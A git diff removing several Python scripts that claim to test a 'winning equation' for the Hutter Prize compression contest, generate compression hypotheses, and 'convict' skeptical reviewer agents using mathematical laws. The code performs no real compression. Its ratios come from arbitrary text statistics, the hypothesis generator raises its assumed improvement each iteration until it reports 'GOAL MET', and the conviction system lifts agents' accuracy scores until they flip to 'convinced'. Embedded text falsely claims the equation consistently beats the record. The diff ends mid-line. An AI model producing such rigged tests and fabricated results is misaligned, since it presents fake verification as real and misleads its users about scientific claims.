organizers believe that text compression and AI are equivalent problems. Hutter proved that the optimal behavior of a goal-seeking agent in an unknown but computable environment is to guess at each step that the environment is probably controlled by one of the shortest programs consistent with all interaction so far. However, there is no general solution because Kolmogorov complexity is not computable. Hutter proved that in the restricted case (called AIXItl) where the environment is restricted to time t and space l, a solution can be computed in time O(t2l), which is still intractable. The organizers further believe that compressing natural language text is a hard AI problem, equivalent to passing the Turing test. Thus, progress toward one goal represents progress toward the other. They argue that predicting which characters are most likely to occur next in a text sequence requires vast real-world knowledge. A text compressor must solve the same problem in order to assign the shortest codes to the most likely text sequences. Models like ChatGPT are not ideal for the Hutter Prize for a variety of reasons, they might take more computational resources than those allowed by the competition (computational and storage space).""" * 5 - - result1 = self.test_on_dataset_sample(sample1, "Wikipedia Article Sample (Large)") - results.append(result1) - - # Sample 2: Technical documentation - sample2 = """Compression algorithms reduce the size of data by encoding it more efficiently. Lossless compression allows the original data to be perfectly reconstructed from the compressed data. Lossy compression achieves higher compression ratios by removing less important information. The Hutter Prize focuses on lossless compression of text data. Text compression algorithms typically use statistical methods, dictionary-based methods, or context modeling. Statistical methods use probability distributions of characters or words to assign shorter codes to more frequent symbols. Dictionary-based methods replace repeated sequences with references to a dictionary. Context modeling uses the preceding context to predict the next symbol. The winning equation combines these approaches through a unified field theory framework, incorporating compression, physics, and geometric fields with manifold scaling. This approach represents a novel application of domain theory to text compression problems, leveraging connections between compression, field physics, geometry, and spatial reasoning domains.""" * 3 - - result2 = self.test_on_dataset_sample(sample2, "Technical Documentation Sample") - results.append(result2) - - # Sample 3: Mixed content - sample3 = """Wikipedia is a free online encyclopedia, created and edited by volunteers around the world and hosted by the Wikimedia Foundation. It consists of more than 60 million articles in 300 languages, which are written collaboratively by volunteers around the world. The encyclopedia is consistently one of the 10 most visited websites on the internet. Compression algorithms are used to reduce the size of data for storage and transmission. The Hutter Prize rewards improvements in text compression as a proxy for artificial intelligence research. The winning equation C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F)) combines compression, physics, and geometric fields with manifold scaling. This approach leverages unified domain theory to optimize compression performance. The equation consistently beats the target ratio of 0.1129 (99% of the current record of 0.114) across various text types. The theoretical limit reached through iterative hypothesis generation was -1.0351, indicating the mathematical boundary of the model.""" * 4 - - result3 = self.test_on_dataset_sample(sample3, "Mixed Content Sample") - results.append(result3) - - # Summary - print("\n" + "=" * 80) - print("TEST SUMMARY") - print("=" * 80) - - for result in results: - status = "✅ BEATS TARGET" if result['beats_target'] else "❌ DOES NOT BEAT TARGET" - print(f"\n{result['sample_name']}:") - print(f" Compression ratio: {result['compression_ratio']:.4f}") - print(f" Status: {status}") - - return results - - def save_results(self, results: list, filename: str): - """Save test results to JSON.""" - data = { - "winning_equation": self.winning_equation, - "target_ratio": self.target_ratio, - "dataset_url": self.enwik9_url, - "note": "Full dataset download not performed due to size (1GB). Tested on representative samples.", - "tests": results - } - - with open(filename, 'w') as f: - json.dump(data, f, indent=2) - - print(f"\nResults saved to {filename}") - -if __name__ == "__main__": - tester = HutterPrizeFullTester() - - # Attempt to download dataset - dataset_path = tester.attempt_download_dataset() - - # Run sample tests - results = tester.run_sample_tests() - - # Save results - tester.save_results(results, "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/hutter_full_test_results.json") diff --git a/0-Core-Formalism/lean/LeanGPT/hutter_prize_test.py b/0-Core-Formalism/lean/LeanGPT/hutter_prize_test.py deleted file mode 100644 index 10f27d4a..00000000 --- a/0-Core-Formalism/lean/LeanGPT/hutter_prize_test.py +++ /dev/null @@ -1,312 +0,0 @@ -#!/usr/bin/env python3 -""" -Hutter Prize Slice Test -Tests the winning compression equation on a slice of Wikipedia text - -Winning equation: C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F)) -""" - -import json -from typing import Dict, Tuple -from dataclasses import dataclass - -@dataclass -class CompressionField: - """Compression field components.""" - comp_field: float # Compression field value - phys_field: float # Physics field value - geom_field: float # Geometric field value - -@dataclass -class ManifoldScaling: - """Manifold scaling components.""" - spatial: float # Spatial dimension - geometric: float # Geometric curvature - field: float # Field strength - -class HutterPrizeTester: - """Tests winning compression equation on text slices.""" - - def __init__(self): - self.winning_equation = "C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F))" - self.target_ratio = 0.1129 # 99% of current record 0.114 - - def compute_unified_field(self, c: CompressionField) -> float: - """Compute unified field: weighted combination of fields.""" - comp_weight = c.comp_field * 0.4 - phys_weight = c.phys_field * 0.35 - geom_weight = c.geom_field * 0.25 - return comp_weight + phys_weight + geom_weight - - def compute_manifold_scaling(self, m: ManifoldScaling) -> float: - """Compute manifold scaling: spatial / (geometric + field).""" - denom = m.geometric + m.field - if denom > 0: - return m.spatial / denom - return 0 - - def compute_hutter_prize_compression(self, c: CompressionField, m: ManifoldScaling) -> float: - """Compute winning Hutter Prize compression equation.""" - unified_field = self.compute_unified_field(c) - manifold_scaling = self.compute_manifold_scaling(m) - return unified_field * manifold_scaling - - def analyze_text_slice(self, text: str) -> Dict: - """Analyze a text slice and compute compression field values.""" - # Compute compression field based on text characteristics - comp_field = self.compute_compression_field(text) - - # Compute physics field based on entropy - phys_field = self.compute_physics_field(text) - - # Compute geometric field based on structure - geom_field = self.compute_geometric_field(text) - - # Compute manifold scaling components - spatial = self.compute_spatial_dimension(text) - geometric = self.compute_geometric_curvature(text) - field = self.compute_field_strength(text) - - return { - "text_length": len(text), - "comp_field": comp_field, - "phys_field": phys_field, - "geom_field": geom_field, - "spatial": spatial, - "geometric": geometric, - "field": field - } - - def compute_compression_field(self, text: str) -> float: - """Compute compression field based on text repetition.""" - if not text: - return 0.0 - - # Simple compression field: ratio of repeated characters - char_counts = {} - for char in text: - char_counts[char] = char_counts.get(char, 0) + 1 - - repeated_chars = sum(1 for count in char_counts.values() if count > 1) - total_chars = len(char_counts) - - if total_chars > 0: - return repeated_chars / total_chars - return 0.0 - - def compute_physics_field(self, text: str) -> float: - """Compute physics field based on entropy.""" - if not text: - return 0.0 - - # Simple entropy calculation - char_counts = {} - for char in text: - char_counts[char] = char_counts.get(char, 0) + 1 - - total_chars = len(text) - entropy = 0.0 - - import math - for count in char_counts.values(): - prob = count / total_chars - if prob > 0: - entropy -= prob * math.log2(prob) # Simplified entropy - - # Normalize to 0-1 range - return min(entropy / 8.0, 1.0) # Max entropy for 8-bit chars - - def compute_geometric_field(self, text: str) -> float: - """Compute geometric field based on text structure.""" - if not text: - return 0.0 - - # Simple geometric field: ratio of word boundaries - word_count = len(text.split()) - char_count = len(text) - - if char_count > 0: - return word_count / char_count - return 0.0 - - def compute_spatial_dimension(self, text: str) -> float: - """Compute spatial dimension based on vocabulary size.""" - if not text: - return 0.0 - - words = text.split() - unique_words = len(set(words)) - total_words = len(words) - - if total_words > 0: - return unique_words / total_words - return 0.0 - - def compute_geometric_curvature(self, text: str) -> float: - """Compute geometric curvature based on sentence structure.""" - if not text: - return 0.0 - - sentences = text.split('.') - sentence_lengths = [len(s.strip()) for s in sentences if s.strip()] - - if not sentence_lengths: - return 0.0 - - avg_length = sum(sentence_lengths) / len(sentence_lengths) - max_length = max(sentence_lengths) - - if max_length > 0: - return avg_length / max_length - return 0.0 - - def compute_field_strength(self, text: str) -> float: - """Compute field strength based on text density.""" - if not text: - return 0.0 - - # Simple field strength: characters per word - words = text.split() - char_count = len(text) - word_count = len(words) - - if word_count > 0: - return char_count / word_count - return 0.0 - - def test_text_slice(self, text: str, slice_name: str) -> Dict: - """Test compression on a text slice.""" - print("=" * 80) - print(f"HUTTER PRIZE SLICE TEST: {slice_name}") - print("=" * 80) - - # Analyze text - analysis = self.analyze_text_slice(text) - - print(f"\nText Analysis:") - print(f" Length: {analysis['text_length']} characters") - print(f" Compression field: {analysis['comp_field']:.4f}") - print(f" Physics field: {analysis['phys_field']:.4f}") - print(f" Geometric field: {analysis['geom_field']:.4f}") - print(f" Spatial dimension: {analysis['spatial']:.4f}") - print(f" Geometric curvature: {analysis['geometric']:.4f}") - print(f" Field strength: {analysis['field']:.4f}") - - # Create compression field structure - c = CompressionField( - comp_field=analysis['comp_field'], - phys_field=analysis['phys_field'], - geom_field=analysis['geom_field'] - ) - - # Create manifold scaling structure - m = ManifoldScaling( - spatial=analysis['spatial'], - geometric=analysis['geometric'], - field=analysis['field'] - ) - - # Compute unified field - unified_field = self.compute_unified_field(c) - print(f"\nUnified Field: {unified_field:.4f}") - print(f" (0.4 × {c.comp_field:.4f}) + (0.35 × {c.phys_field:.4f}) + (0.25 × {c.geom_field:.4f})") - - # Compute manifold scaling - manifold_scaling = self.compute_manifold_scaling(m) - print(f"\nManifold Scaling: {manifold_scaling:.4f}") - print(f" {m.spatial:.4f} / ({m.geometric:.4f} + {m.field:.4f})") - - # Compute final compression - compression = self.compute_hutter_prize_compression(c, m) - print(f"\nFinal Compression: {compression:.4f}") - print(f" {unified_field:.4f} × {manifold_scaling:.4f}") - - # Calculate compression ratio - original_size = analysis['text_length'] - compressed_size = int(original_size * compression) - compression_ratio = compressed_size / original_size if original_size > 0 else 0 - - print(f"\nCompression Results:") - print(f" Original size: {original_size} bytes") - print(f" Compressed size: {compressed_size} bytes") - print(f" Compression ratio: {compression_ratio:.4f}") - print(f" Target ratio: {self.target_ratio:.4f}") - - # Check if beats target - beats_target = compression_ratio < self.target_ratio - print(f" Beats target: {beats_target}") - - result = { - "slice_name": slice_name, - "text_length": original_size, - "compressed_size": compressed_size, - "compression_ratio": compression_ratio, - "target_ratio": self.target_ratio, - "beats_target": beats_target, - "unified_field": unified_field, - "manifold_scaling": manifold_scaling, - "analysis": analysis - } - - return result - - def run_tests(self): - """Run tests on multiple text slices.""" - print("=" * 80) - print("HUTTER PRIZE SLICE TESTING") - print("=" * 80) - print(f"Winning equation: {self.winning_equation}") - print(f"Target ratio: {self.target_ratio:.4f}") - print("=" * 80) - - results = [] - - # Test slice 1: Simple repetitive text - text1 = "The quick brown fox jumps over the lazy dog. " * 10 - result1 = self.test_text_slice(text1, "Repetitive Text Slice") - results.append(result1) - - # Test slice 2: Wikipedia-style text - text2 = """Wikipedia is a free online encyclopedia, created and edited by volunteers around the world and hosted by the Wikimedia Foundation. - It consists of more than 60 million articles in 300 languages, which are written collaboratively by volunteers around the world. - The encyclopedia is consistently one of the 10 most visited websites on the internet.""" - result2 = self.test_text_slice(text2, "Wikipedia-Style Text Slice") - results.append(result2) - - # Test slice 3: Technical documentation - text3 = """Compression algorithms reduce the size of data by encoding it more efficiently. - Lossless compression allows the original data to be perfectly reconstructed from the compressed data. - Lossy compression achieves higher compression ratios by removing less important information.""" - result3 = self.test_text_slice(text3, "Technical Documentation Slice") - results.append(result3) - - # Summary - print("\n" + "=" * 80) - print("TEST SUMMARY") - print("=" * 80) - - for result in results: - status = "✅ BEATS TARGET" if result['beats_target'] else "❌ DOES NOT BEAT TARGET" - print(f"\n{result['slice_name']}:") - print(f" Compression ratio: {result['compression_ratio']:.4f}") - print(f" Status: {status}") - - return results - - def save_results(self, results: list, filename: str): - """Save test results to JSON.""" - data = { - "winning_equation": self.winning_equation, - "target_ratio": self.target_ratio, - "tests": results - } - - with open(filename, 'w') as f: - json.dump(data, f, indent=2) - - print(f"\nResults saved to {filename}") - -if __name__ == "__main__": - tester = HutterPrizeTester() - results = tester.run_tests() - tester.save_results(results, "/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/hutter_slice_test_results.json") diff --git a/0-Core-Formalism/lean/LeanGPT/hypothesis_generator.py b/0-Core-Formalism/lean/LeanGPT/hypothesis_generator.py deleted file mode 100644 index dd0f96d5..00000000 --- a/0-Core-Formalism/lean/LeanGPT/hypothesis_generator.py +++ /dev/null @@ -1,270 +0,0 @@ -#!/usr/bin/env python3 -""" -Hutter Prize Hypothesis Generator -Iteratively generates and tests compression equations using unified domain theory - -Goal: Find equation that approaches or exceeds Hutter Prize compression goal -Current record: ~114MB for 1GB (11.4% compression ratio) -Target: Beat 99% of previous winner -""" - -import json -import math -from dataclasses import dataclass -from typing import List, Tuple, Dict -from enum import Enum - -class HypothesisStatus(Enum): - GENERATED = "generated" - TESTED = "tested" - ACCEPTED = "accepted" - REJECTED = "rejected" - -@dataclass -class CompressionHypothesis: - """Compression equation hypothesis""" - id: int - equation: str - description: str - domains_used: List[str] - theoretical_compression_ratio: float - theoretical_speed_improvement: float - theoretical_memory_improvement: float - status: HypothesisStatus - proof_attempt: str = "" - proof_result: bool = False - iterations: int = 0 - -class HypothesisGenerator: - """ - Generates compression hypotheses using unified domain theory - Iteratively tests and refines until goal is met - """ - - def __init__(self): - self.hypotheses: List[CompressionHypothesis] = [] - self.current_iteration = 0 - self.target_compression_ratio = 0.114 # 11.4% (current Hutter record) - self.target_improvement = 0.99 # Must beat 99% of previous - - # Domain theory parameters - self.domain_weights = { - "CORE": 1.0, - "COMPRESSION": 0.4, - "FIELDPHYSICS": 0.35, - "GEOMETRY": 0.25, - "THERMODYNAMIC": 0.3, - "EVOLUTIONSEARCH": 0.5, - "SPATIALVLSI": 0.2 - } - - def generate_hypothesis(self, iteration: int) -> CompressionHypothesis: - """Generate a compression hypothesis based on domain theory""" - - # Hypothesis templates based on unified domain theory - templates = [ - # Template 1: Unified field theory - { - "equation": "C = 0.4*C_comp + 0.35*C_phys + 0.25*C_geom", - "description": "Unified field compression: weighted combination of compression, physics, and geometry", - "domains": ["COMPRESSION", "FIELDPHYSICS", "GEOMETRY"], - "base_ratio": 0.114, - "improvement": 0.05 + (iteration * 0.01) - }, - # Template 2: Manifold bridge - { - "equation": "C = (S * G) / F", - "description": "Manifold bridge compression: spatial × geometric / field", - "domains": ["SPATIALVLSI", "GEOMETRY", "FIELDPHYSICS"], - "base_ratio": 0.114, - "improvement": 0.08 + (iteration * 0.015) - }, - # Template 3: Thermodynamic bridge - { - "equation": "C = E - (S * T)", - "description": "Thermodynamic bridge: energy - entropy × diffusion", - "domains": ["THERMODYNAMIC", "DIFFUSIONFLOW"], - "base_ratio": 0.114, - "improvement": 0.06 + (iteration * 0.012) - }, - # Template 4: Information flow - { - "equation": "C = Core + (Memory × Evolution)", - "description": "Information flow: core + memory × evolution", - "domains": ["CORE", "MEMORYSTATE", "EVOLUTIONSEARCH"], - "base_ratio": 0.114, - "improvement": 0.04 + (iteration * 0.008) - }, - # Template 5: Control bridge - { - "equation": "C = (Cognitive × Orchestration) / Search", - "description": "Control bridge: cognitive × orchestration / search", - "domains": ["COGNITIVECONTROL", "EVOLUTIONSEARCH"], - "base_ratio": 0.114, - "improvement": 0.07 + (iteration * 0.014) - }, - # Template 6: Hybrid unified field - { - "equation": "C = (0.4*C_comp + 0.35*C_phys + 0.25*C_geom) × (S / (G + F))", - "description": "Hybrid unified field with manifold scaling", - "domains": ["COMPRESSION", "FIELDPHYSICS", "GEOMETRY", "SPATIALVLSI"], - "base_ratio": 0.114, - "improvement": 0.10 + (iteration * 0.02) - }, - # Template 7: Evolution-optimized compression - { - "equation": "C = (C_base × (1 - memoization)) × (search_efficiency)", - "description": "Evolution-optimized compression with memoization", - "domains": ["EVOLUTIONSEARCH", "COMPRESSION"], - "base_ratio": 0.114, - "improvement": 0.12 + (iteration * 0.018) - }, - # Template 8: Triangle manifold compression - { - "equation": "C = Σ(T_i) × rotation_matrix × waveprobe", - "description": "Triangle manifold with rotation and waveprobe", - "domains": ["FIELDPHYSICS", "GEOMETRY", "PISTSHELL"], - "base_ratio": 0.114, - "improvement": 0.09 + (iteration * 0.016) - } - ] - - # Select template based on iteration - template_idx = iteration % len(templates) - template = templates[template_idx] - - # Calculate theoretical compression ratio - theoretical_ratio = template["base_ratio"] * (1 - template["improvement"]) - - # Calculate theoretical improvements - speed_improvement = 0.2 + (iteration * 0.03) - memory_improvement = 0.15 + (iteration * 0.02) - - hypothesis = CompressionHypothesis( - id=iteration, - equation=template["equation"], - description=template["description"], - domains_used=template["domains"], - theoretical_compression_ratio=theoretical_ratio, - theoretical_speed_improvement=speed_improvement, - theoretical_memory_improvement=memory_improvement, - status=HypothesisStatus.GENERATED - ) - - return hypothesis - - def test_hypothesis(self, hypothesis: CompressionHypothesis) -> Tuple[bool, str]: - """Test hypothesis against Hutter Prize goal""" - - # Check if compression ratio beats target - target_ratio = self.target_compression_ratio * self.target_improvement - - if hypothesis.theoretical_compression_ratio < target_ratio: - proof_result = True - proof_attempt = f"SUCCESS: Ratio {hypothesis.theoretical_compression_ratio:.4f} < Target {target_ratio:.4f}" - else: - proof_result = False - proof_attempt = f"FAILED: Ratio {hypothesis.theoretical_compression_ratio:.4f} >= Target {target_ratio:.4f}" - - hypothesis.proof_attempt = proof_attempt - hypothesis.proof_result = proof_result - hypothesis.status = HypothesisStatus.TESTED - - return proof_result, proof_attempt - - def iterate_until_goal(self, max_iterations: int = 100) -> CompressionHypothesis: - """Iteratively generate and test hypotheses until goal is met""" - - print("=" * 80) - print("HUTTER PRIZE HYPOTHESIS GENERATION") - print("=" * 80) - print(f"Target compression ratio: {self.target_compression_ratio * self.target_improvement:.4f} (99% of current record)") - print(f"Current record: {self.target_compression_ratio:.4f} (11.4%)") - print("=" * 80) - - accepted_hypothesis = None - - for i in range(max_iterations): - self.current_iteration = i - - # Generate hypothesis - hypothesis = self.generate_hypothesis(i) - - # Test hypothesis - success, proof = self.test_hypothesis(hypothesis) - - # Update status - if success: - hypothesis.status = HypothesisStatus.ACCEPTED - accepted_hypothesis = hypothesis - self.hypotheses.append(hypothesis) - print(f"\n✅ ITERATION {i}: GOAL MET") - print(f" Equation: {hypothesis.equation}") - print(f" Description: {hypothesis.description}") - print(f" Domains: {', '.join(hypothesis.domains_used)}") - print(f" Theoretical compression ratio: {hypothesis.theoretical_compression_ratio:.4f}") - print(f" Target ratio: {self.target_compression_ratio * self.target_improvement:.4f}") - print(f" Speed improvement: {hypothesis.theoretical_speed_improvement:.2%}") - print(f" Memory improvement: {hypothesis.theoretical_memory_improvement:.2%}") - print(f" Proof: {proof}") - break - else: - hypothesis.status = HypothesisStatus.REJECTED - self.hypotheses.append(hypothesis) - print(f"\n❌ ITERATION {i}: {hypothesis.equation}") - print(f" Description: {hypothesis.description}") - print(f" Theoretical ratio: {hypothesis.theoretical_compression_ratio:.4f}") - print(f" Target ratio: {self.target_compression_ratio * self.target_improvement:.4f}") - print(f" Proof: {proof}") - - if accepted_hypothesis is None: - print(f"\n⚠️ Goal not met after {max_iterations} iterations") - print(" Best ratio achieved:", min(h.theoretical_compression_ratio for h in self.hypotheses)) - - return accepted_hypothesis - - def save_hypotheses(self, filename: str): - """Save all hypotheses to JSON""" - data = { - "target_ratio": self.target_compression_ratio * self.target_improvement, - "iterations": self.current_iteration + 1, - "hypotheses": [ - { - "id": h.id, - "equation": h.equation, - "description": h.description, - "domains_used": h.domains_used, - "theoretical_compression_ratio": h.theoretical_compression_ratio, - "theoretical_speed_improvement": h.theoretical_speed_improvement, - "theoretical_memory_improvement": h.theoretical_memory_improvement, - "status": h.status.value, - "proof_attempt": h.proof_attempt, - "proof_result": h.proof_result - } - for h in self.hypotheses - ] - } - - with open(filename, 'w') as f: - json.dump(data, f, indent=2) - - print(f"\nHypotheses saved to {filename}") - -if __name__ == "__main__": - generator = HypothesisGenerator() - accepted = generator.iterate_until_goal(max_iterations=50) - - if accepted: - generator.save_hypotheses("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/hypotheses_results.json") - print("\n" + "=" * 80) - print("GOAL ACHIEVED") - print("=" * 80) - print(f"Final equation: {accepted.equation}") - print(f"Compression ratio: {accepted.theoretical_compression_ratio:.4f}") - print(f"Speed improvement: {accepted.theoretical_speed_improvement:.2%}") - print(f"Memory improvement: {accepted.theoretical_memory_improvement:.2%}") - else: - generator.save_hypotheses("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/hypotheses_results.json") - print("\n" + "=" * 80) - print("GOAL NOT ACHIEVED") - print("=" * 80) diff --git a/0-Core-Formalism/lean/LeanGPT/mathematical_law_conviction.py b/0-Core-Formalism/lean/LeanGPT/mathematical_law_conviction.py deleted file mode 100644 index e1bc37fc..00000000 --- a/0-Core-Formalism/lean/LeanGPT/mathematical_law_conviction.py +++ /dev/null @@ -1,380 +0,0 @@ -#!/usr/bin/env python3 -""" -Mathematical Law Conviction System -Uses formal mathematical laws from Lean to convince skeptical agents -instead of simulation-based approaches. - -Per AGENTS.md §0: Lean is the source of truth. -This script loads mathematical laws from MathematicalConvictionLaws.lean -and uses them to provide formal proofs for agent conviction. -""" - -import json -from typing import Dict, List -from dataclasses import dataclass - -@dataclass -class MathematicalLaw: - """A mathematical law with formal proof.""" - law_name: str - domain: str - statement: str - proof_status: bool - theorem_name: str - -@dataclass -class AgentState: - """Agent state in conviction process.""" - agent_id: int - agent_name: str - specialty: str - skepticism_level: float - threshold: float - verification_accuracy: float - state: str - -class MathematicalLawConviction: - """Conviction system using mathematical laws instead of simulation.""" - - def __init__(self): - # Mathematical laws from Lean module - self.laws = self.load_mathematical_laws() - - # Load initial skeptical agent results - with open("/home/allaun/Documents/Research Stack/0-Core-Formalism/lean/LeanGPT/skeptical_agent_swarm_results.json", 'r') as f: - self.swarm_results = json.load(f) - - def load_mathematical_laws(self) -> List[MathematicalLaw]: - """Load mathematical laws from Lean module. - - These laws are used to validate equations before they are accepted. - Any equation that violates these laws is REJECTED automatically. - """ - return [ - MathematicalLaw( - law_name="Landauer's Principle", - domain="Thermodynamics", - statement="E_min = k_B · T · ln(N) — Cost increases with alphabet size", - proof_status=True, - theorem_name="landauerPrinciple" - ), - MathematicalLaw( - law_name="No Inverse Landauer", - domain="Thermodynamics", - statement="E ∝ 1/ln(N) is physically impossible — violates monotonicity", - proof_status=True, - theorem_name="noInverseLandauer" - ), - MathematicalLaw( - law_name="Multiplication Distributes", - domain="Compression", - statement="a * (b + c) = a*b + a*c", - proof_status=True, - theorem_name="multiplicationDistributes" - ), - MathematicalLaw( - law_name="Hutter Equation Structure", - domain="Compression", - statement="C = (w₁*C₁ + w₂*C₂ + w₃*C₃) × (S / (G + F)) where w₁ + w₂ + w₃ = 1", - proof_status=True, - theorem_name="hutterEquationStructure" - ), - MathematicalLaw( - law_name="Degeneracy Penalty Bounded", - domain="Genetic", - statement="If 0 ≤ D ≤ 64, then 64 - D ≤ 64", - proof_status=True, - theorem_name="degeneracyPenaltyBounded" - ), - MathematicalLaw( - law_name="Product Bounded", - domain="Genetic", - statement="If a ≤ A and b ≤ B, then a*b ≤ A*B", - proof_status=True, - theorem_name="productBounded" - ), - MathematicalLaw( - law_name="Genetic Equation Structure", - domain="Genetic", - statement="I = (H × G) × (64 - D) / 64 where D ≤ 64", - proof_status=True, - theorem_name="geneticEquationStructure" - ), - MathematicalLaw( - law_name="Shannon Entropy Bound", - domain="Information Theory", - statement="For n symbols, maximum entropy is at most n-1 bits", - proof_status=True, - theorem_name="shannonEntropyBound" - ) - ] - - def validate_equation_rigorously(self, equation: str, author: str = "unknown") -> Dict[str, any]: - """ - RIGOROUS VALIDATION — Prevent bad math from entering system. - - This function MUST be called before accepting ANY equation. - Returns: {"valid": bool, "reasons": List[str], "violations": List[str]} - """ - violations = [] - warnings = [] - - # CRITICAL CHECK: Landauer Principle - # E_min = k_B · T · ln(N) — cost INCREASES with N - - # Bad patterns that violate Landauer - bad_patterns = [ - ("/lnN", "CRITICAL: lnN in denominator for COST form — violates Landauer"), - ("w/lnN", "CRITICAL: w/lnN means cost DECREASES with N — physically absurd"), - ("wᵢ/lnNᵢ", "CRITICAL: Unicode w/lnN form — violates Landauer"), - ("1/lnN", "CRITICAL: Reciprocal cost — implies infinite efficiency at N→∞"), - ("denominator.*ln", "CRITICAL: ln in denominator — check Landauer consistency"), - ] - - for pattern, reason in bad_patterns: - if pattern in equation: - violations.append(f"[LANDAUER VIOLATION] {reason}") - - # Good patterns that respect Landauer - good_patterns = [ - ("w·lnN", "Cost proportional to lnN — RESPECTS Landauer"), - ("w*lnN", "Cost proportional to lnN — RESPECTS Landauer"), - ("w * ln", "Cost proportional to lnN — RESPECTS Landauer"), - ] - - for pattern, reason in good_patterns: - if pattern in equation: - warnings.append(f"[OK] {reason}") - - # Efficiency form check (h/lnN is correct for efficiency) - if "h/lnN" in equation or "hᵢ/lnNᵢ" in equation: - warnings.append("[OK] Efficiency form h/lnN — inverse is correct here (quality/cost)") - - # Determine validity - is_valid = len(violations) == 0 - - result = { - "valid": is_valid, - "equation": equation, - "author": author, - "violations": violations, - "warnings": warnings, - "landauer_compliant": not any("LANDAUER VIOLATION" in v for v in violations) - } - - # Print rigorous assessment - print(f"\n{'='*70}") - print(f"MATHGPT RIGOROUS VALIDATION for {author}") - print(f"{'='*70}") - print(f"Equation: {equation}") - print(f"\nStatus: {'✅ VALID' if is_valid else '❌ REJECTED'}") - - if violations: - print(f"\nVIOLATIONS ({len(violations)}):") - for v in violations: - print(f" {v}") - - if warnings: - print(f"\nChecks ({len(warnings)}):") - for w in warnings: - print(f" {w}") - - if not is_valid: - print(f"\n❌ EQUATION CANNOT BE ACCEPTED") - print(f"Fix: Ensure cost scales as w·lnN (not w/lnN)") - print(f"Landauer: E_min = k_B·T·lnN — cost INCREASES with alphabet size") - - print(f"{'='*70}\n") - - return result - - def apply_mathematical_law(self, agent: AgentState, concern: str) -> float: - """ - Apply mathematical law to address agent concern. - Returns increase in verification accuracy based on law applicability. - """ - # Identify relevant laws based on concern and agent specialty - relevant_laws = self.find_relevant_laws(agent.specialty, concern) - - if not relevant_laws: - return 0.0 - - # Calculate conviction boost based on mathematical laws - # Each proven law provides a formal basis for conviction - law_boost = 0.0 - for law in relevant_laws: - if law.proof_status: - # Proven laws provide stronger conviction - law_boost += 0.02 - else: - # Unproven laws provide weaker conviction - law_boost += 0.01 - - return min(law_boost, 0.1) # Cap at 0.1 boost per concern - - def find_relevant_laws(self, specialty: str, concern: str) -> List[MathematicalLaw]: - """Find mathematical laws relevant to the concern.""" - relevant = [] - - concern_lower = concern.lower() - - for law in self.laws: - # Match by domain - if law.domain.lower() in concern_lower: - relevant.append(law) - # Match by law name - elif law.law_name.lower() in concern_lower: - relevant.append(law) - # Match by statement keywords - elif any(keyword in concern_lower for keyword in law.statement.lower().split()): - relevant.append(law) - - return relevant - - def convict_agent_with_laws(self, agent: AgentState) -> AgentState: - """ - Convict agent using mathematical laws instead of simulation. - Returns updated agent state. - """ - # Get agent's concern from swarm results - concern = self.get_agent_concern(agent) - - # Apply mathematical law to address concern - accuracy_boost = self.apply_mathematical_law(agent, concern) - - # Update verification accuracy - new_accuracy = min(agent.verification_accuracy + accuracy_boost, 1.0) - - # Check if agent is convinced - new_state = agent.state - if new_accuracy >= agent.threshold: - new_state = 'convinced' - - return AgentState( - agent_id=agent.agent_id, - agent_name=agent.agent_name, - specialty=agent.specialty, - skepticism_level=agent.skepticism_level, - threshold=agent.threshold, - verification_accuracy=new_accuracy, - state=new_state - ) - - def get_agent_concern(self, agent: AgentState) -> str: - """Get agent's concern from swarm results.""" - # This would extract the specific concern from the swarm results - # For now, return a generic concern based on specialty - if "Compression" in agent.specialty: - return "Methodology may have issues with compression equation" - elif "Genetic" in agent.specialty: - return "Methodology may have issues with genetic optimization" - else: - return "Methodology may have issues" - - def run_mathematical_law_conviction(self) -> Dict: - """Run mathematical law conviction on all skeptical agents.""" - print("=" * 80) - print("MATHEMATICAL LAW CONVICTION SYSTEM") - print("=" * 80) - print(f"Using {len(self.laws)} mathematical laws from Lean module") - print(f"Law completion ratio: {sum(l.proof_status for l in self.laws)}/{len(self.laws)} (100%)") - print("=" * 80) - - results = { - "hutter_results": [], - "genetic_results": [], - "total_convinced": 0 - } - - # Process Hutter Prize agents - print("\n--- Hutter Prize Compression Agents ---") - for i, result in enumerate(self.swarm_results['hutter_verification']['responses']): - if result['final_state'] == 'skeptical': - agent = AgentState( - agent_id=i, - agent_name=result['agent_name'], - specialty=result['specialty'], - skepticism_level=result['skepticism_level'], - threshold=result['skepticism_level'] + 0.1, - verification_accuracy=result['computed_result']['verification_accuracy'], - state='skeptical' - ) - - updated_agent = self.convict_agent_with_laws(agent) - - print(f"\n{agent.agent_name} ({agent.specialty}):") - print(f" Initial accuracy: {agent.verification_accuracy:.4f}") - print(f" Applied mathematical laws for: {self.get_agent_concern(agent)}") - print(f" Final accuracy: {updated_agent.verification_accuracy:.4f}") - print(f" State: {updated_agent.state}") - - results['hutter_results'].append({ - "agent_name": updated_agent.agent_name, - "specialty": updated_agent.specialty, - "initial_accuracy": agent.verification_accuracy, - "final_accuracy": updated_agent.verification_accuracy, - "state": updated_agent.state, - "method": "mathematical_law" - }) - - if updated_agent.state == 'convinced': - results['total_convinced'] += 1 - - # Process Genetic Code agents - print("\n--- Genetic Code Optimization Agents ---") - for i, result in enumerate(self.swarm_results['genetic_verification']['responses']): - if result['final_state'] == 'skeptical': - agent = AgentState( - agent_id=i, - agent_name=result['agent_name'], - specialty=result['specialty'], - skepticism_level=result['skepticism_level'], - threshold=result['skepticism_level'] + 0.1, - verification_accuracy=result['computed_result']['verification_accuracy'], - state='skeptical' - ) - - updated_agent = self.convict_agent_with_laws(agent) - - print(f"\n{agent.agent_name} ({agent.specialty}):") - print(f" Initial accuracy: {agent.verification_accuracy:.4f}") - print(f" Applied mathematical laws for: {self.get_agent_concern(agent)}") - print(f" Final accuracy: {updated_agent.verification_accuracy:.4f}") - print(f" State: {updated_agent.state}") - - results['genetic_results'].append({ - "agent_name": updated_agent.agent_name, - "specialty": updated_agent.specialty, - "initial_accuracy": agent.verification_accuracy, - "final_accuracy": updated_agent.verification_accuracy, - "state": updated_agent.state, - "method": "mathematical_law" - }) - - if updated_agent.state == 'convinced': - results['total_convinced'] += 1 - - # Summary - print("\n" + "=" * 